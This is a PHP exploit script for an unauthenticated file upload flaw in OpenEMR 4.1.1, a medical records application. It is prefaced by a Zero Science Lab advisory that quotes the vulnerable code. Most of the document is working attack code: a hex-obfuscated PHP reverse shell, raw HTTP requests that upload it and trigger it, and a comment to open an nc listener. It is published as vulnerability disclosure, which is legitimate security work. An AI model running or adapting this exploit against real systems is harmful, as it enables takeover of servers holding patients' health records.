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OpenEMR 4.1.1 Shell Upload

Posted on 13 February 2013

<?php

/*

OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability

Vendor: OpenEMR
Product web page: http://www.open-emr.org
Affected version: 4.1.1

Summary: OpenEMR is a Free and Open Source electronic health records and medical
practice management application that can run on Windows, Linux, Mac OS X, and many
other platforms.

Desc: The vulnerability is caused due to the improper verification of uploaded
files in '/library/openflashchart/php-ofc-library/ofc_upload_image.php' script
thru the 'name' parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script with multiple extensions.

================================================================================
/library/openflashchart/php-ofc-library/ofc_upload_image.php:
-------------------------------------------------------------

21: $default_path = '../tmp-upload-images/';
23: if (!file_exists($default_path)) mkdir($default_path, 0777, true);
26: $destination = $default_path . basename( $_GET[ 'name' ] );
28: echo 'Saving your image to: '. $destination;
39: $jfh = fopen($destination, 'w') or die("can't open file");
40: fwrite($jfh, $HTTP_RAW_POST_DATA);
41: fclose($jfh);
46: exit();

================================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
 Fedora Linux
 Apache2, PHP 5.4 MySQL 5.5

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2013-5126
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php

09.02.2013

*/

error_reporting(0);
set_time_limit(0);

$go = "33[0;92m"; $no = "33[0;37m";
echo $no;

$host = $argv[1];

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if(!$sock)
{
 echo "
> $errstr ($errno)
";
 die();
}

function r_shell($sc)
{
 for($z = 0; $z < strlen($sc); $z += 2)
 $exec .= chr(hexdec(substr($sc,$z,2)));
 return $exec;
}

print "
+--------------------------------------------------------+";
print "
+ +";
print "
+ OpenEMR 4.1.1 Remote Reverse Shell Exploit (pre-auth) +";
print "
+ +";
print "
+ ID: ZSL-2013-5126 +";
print "
+ +";
print "
+ Copyleft (c) 2013, Zero Science Lab +";
print "
+ +";
print "
+--------------------------------------------------------+

";

// PoC for Linux
// Before running this script, listen on 127.0.0.1: nc -vv -n -l -p 1234

if ($argc < 2)
{
 print "
> Usage: php $argv[0] <target>

";
 die();
}

$pl = r_shell("3c3f7068700d0a". "7365745f74696d". "655f6c696d6974".
 "202830293b0d0a". "246970203d2027". "3132372e302e30".
 "2e31273b0d0a24". "706f7274203d20". "313233343b0d0a".
 "246368756e6b5f". "73697a65203d20". "313430303b0d0a".
 "2477726974655f". "61203d206e756c". "6c3b2024657272".
 "6f725f61203d20". "6e756c6c3b0d0a". "247368656c6c20".
 "3d2027756e616d". "65202d613b2077". "3b2069643b202f".
 "62696e2f736820". "2d69273b0d0a24".
 "6461656d6f6e20". "3d20303b202464".
 "65627567203d20". "303b0d0a696620".
 "2866756e637469". "6f6e5f65786973".
 "7473282770636e". "746c5f666f726b".
 "272929207b0d0a". "24706964203d20".
 "70636e746c5f66". "6f726b28293b0d".
 "0a696620282470". "6964203d3d202d". "3129207b0d0a70".
 "72696e74697428". "224552524f523a". "2043616e277420".
 "666f726b22293b". "20657869742831". "293b7d0d0a6966".
 "20282470696429". "207b6578697428". "30293b7d0d0a69".
 "662028706f7369". "785f7365747369". "642829203d3d20".
 "2d3129207b0d0a". "7072696e746974". "28224572726f72".
 "3a2043616e2774". "20736574736964". "282922293b2065".
 "7869742831293b". "7d0d0a24646165".
 "6d6f6e203d2031". "3b7d20656c7365".
 "207b0d0a707269". "6e746974282257".
 "41524e494e473a". "204661696c6564".
 "20746f20646165". "6d6f6e6973652e".
 "20205468697320". "69732071756974".
 "6520636f6d6d6f". "6e20616e64206e".
 "6f742066617461". "6c2e22293b7d0d". "0a636864697228".
 "222f22293b2075". "6d61736b283029". "3b0d0a24736f63".
 "6b203d2066736f". "636b6f70656e28". "2469702c202470".
 "6f72742c202465". "72726e6f2c2024". "6572727374722c".
 "203330293b0d0a". "69662028212473". "6f636b29207b0d".
 "0a7072696e7469". "74282224657272". "73747220282465".
 "72726e6f292229". "3b206578697428". "31293b7d0d0a24".

 "64657363726970746f7273706563203d206172726179280d0a30203d3e206172726179282270".
 "697065222c20227222292c0d0a31203d3e206172726179282270697065222c20227722292c0d".
 "0a32203d3e206172726179282270697065222c2022772229293b0d0a2470726f63657373203d".
 "2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c202470".
 "69706573293b0d0a696620282169735f7265736f75726365282470726f636573732929207b0d".
 "0a7072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0d".
 "0a657869742831293b7d0d0a73747265616d5f7365745f626c6f636b696e6728247069706573".
 "5b305d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b31".
 "5d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c".
 "2030293b0d0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0d0a".
 "7072696e74697428225375636365737366756c6c79206f70656e656420726576657273652073".
 "68656c6c20746f202469703a24706f727422293b0d0a7768696c6520283129207b0d0a696620".
 "2866656f662824736f636b2929207b0d0a7072696e74697428224552524f523a205368656c6c".
 "20636f6e6e656374696f6e207465726d696e6174656422293b20627265616b3b7d0d0a696620".
 "2866656f66282470697065735b315d2929207b0d0a7072696e74697428224552524f523a2053".
 "68656c6c2070726f63657373207465726d696e6174656422293b20627265616b3b7d0d0a2472".
 "6561645f61203d2061727261792824736f636b2c202470697065735b315d2c20247069706573".
 "5b325d293b0d0a246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73".
 "656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c".
 "6c293b0d0a69662028696e5f61727261792824736f636b2c2024726561645f612929207b0d0a".
 "6966202824646562756729207072696e7469742822534f434b205245414422293b0d0a24696e".
 "707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0d0a69662028".
 "24646562756729207072696e7469742822534f434b3a2024696e70757422293b0d0a66777269".
 "7465282470697065735b305d2c2024696e707574293b7d0d0a69662028696e5f617272617928".
 "2470697065735b315d2c2024726561645f612929207b0d0a6966202824646562756729207072".
 "696e74697428225354444f5554205245414422293b0d0a24696e707574203d20667265616428".
 "2470697065735b315d2c20246368756e6b5f73697a65293b0d0a696620282464656275672920".
 "7072696e74697428225354444f55543a2024696e70757422293b0d0a6677726974652824736f".
 "636b2c2024696e707574293b7d0d0a69662028696e5f6172726179282470697065735b325d2c".
 "2024726561645f612929207b0d0a6966202824646562756729207072696e7469742822535444".
 "455252205245414422293b0d0a24696e707574203d206672656164282470697065735b325d2c".
 "20246368756e6b5f73697a65293b0d0a6966202824646562756729207072696e746974282253".
 "54444552523a2024696e70757422293b0d0a6677726974652824736f636b2c2024696e707574".
 "293b7d7d0d0a66636c6f73652824736f636b293b0d0a66636c6f7365282470697065735b305d".
 "293b0d0a66636c6f7365282470697065735b315d293b0d0a66636c6f7365282470697065735b".
 "325d293b0d0a70726f635f636c6f7365282470726f63657373293b0d0a66756e6374696f6e20".
 "7072696e746974202824737472696e6729207b0d0a6966202821246461656d6f6e29207b2070".
 "72696e74202224737472696e675c6e223b7d7d0d0a3f3e"); //PHP Reverse Shell, PTMNKY.

echo "
> Writing reverse shell file";

$pckt = "POST /openemr/library/openflashchart/php-ofc-library/ofc_upload_image.php?name=joxypoxy.php HTTP/1.1
";
$pckt .= "Host: {$host}
";
$pckt .= "Content-Length: ".strlen($pl)."

{$pl}";

fputs($sock, $pckt);

sleep (2);
print " ...."; echo $go."[OK]"; echo $no;

echo "
> Calling your listener";

$pckt = "GET /openemr/library/openflashchart/tmp-upload-images/joxypoxy.php HTTP/1.0
";
$pckt .= "Host: {$host}
";
$pckt .= "Connection: Keep-Alive

";

fputs($sock, $pckt);

sleep (2);
print " ........."; echo $go."[OK]"; echo $no."
";

// interact_sh();
echo "
> Enjoy!

";

?>

 

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